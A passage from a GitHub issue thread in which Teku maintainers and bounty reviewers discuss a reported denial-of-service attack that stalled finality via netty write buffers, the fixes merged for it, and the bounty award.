This turns out to be much more efficient than the original attack. This is a surprisingly common problem with netty, which jvm-libp2p uses internally, due to the particular details of it's async IO model. There will need to be a few changes made and further investigations done to ensure that the higher level req/resp responses aren't negatively affected but an initial start on fixing this category of vulnerability is Consensys/teku#2478 Netty's user space write buffers are significantly reduced and inputs are no longer read until existing output can be written. Additionally connections are disconnected when the write buffer remains full for too long. With these changes the multistream level attack is very effectively mitigated.

We are continuing to work our way through the whole stack checking for similar points of vulnerability and any potential unintended side-effects of the write buffer tunings.

Given we are in a phase of testing and development without a production beacon chain being deployed, we're focussing on a slow and steady approach to work through not just this issue but as many of the issue in the same or similar category that we can.

@astrixial
Copy link

Plausible liveness doesn’t work in ETH 2.0

@ajsutton
Copy link

@astrixial I'm not sure your comment really aligns with what this issue is about. In any consensus algorithm if all the nodes are shut down it will not finalise anything. We're currently in a phase of improving the robustness of clients against deliberate attacks to take them offline and doing so with a network containing only 4 nodes (all running the same software). Resilience to DOS attacks increases significantly as you increase the number of nodes and diversity of clients, locations and network connections (and also as you harden individual clients against attacks which we're also doing).

@djrtwo
Copy link
Collaborator

djrtwo commented Jul 31, 2020

Great work @jrhea! This qualifies for the $5k beta-0 teku attacknet bounty!

Thank you @ajsutton for your work in diagnosing and fixing the vector :)

@ajsutton
Copy link

ajsutton commented Aug 3, 2020

The fix for this attack and my more efficient version has now been merged into Teku. We've also throttled the responses we send for libp2p req/resp requests to avoid queuing too much data so that we only load and send the next block after the first has been successfully written to the OS write buffer.

@gakonst
Copy link

gakonst commented Aug 6, 2020

@ajsutton Consensys/teku#2486 this is the fix right? could you perhaps confirm that @jrhea's exploit doesn't work on latest Teku master?

@jrhea jrhea changed the title [teku-attack-0 Issue] DoS Attack on Teku Stops Finality [teku-attack-0 Reward] DoS Attack on Teku Stops Finality Aug 6, 2020
@ajsutton
Copy link

ajsutton commented Aug 6, 2020

@gakonst Consensys/teku#2478 is the most critical piece to prevent the write buffer growing out of control. There's also a fix in jvm-libp2p to disconnect on invalid messages: libp2p/jvm-libp2p#126

The PR you mention is a follow up which I'm not sure was actually necessary to avoid DOS attacks but does make it less likely that a peer on a slow connection gets disconnected when they are operating honestly just because we can write blocks faster than they can read.

@jrhea's exploit and the variants of it that I identified do not work on latest Teku master.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants
@ajsutton @djrtwo @jrhea @gakonst @astrixial and others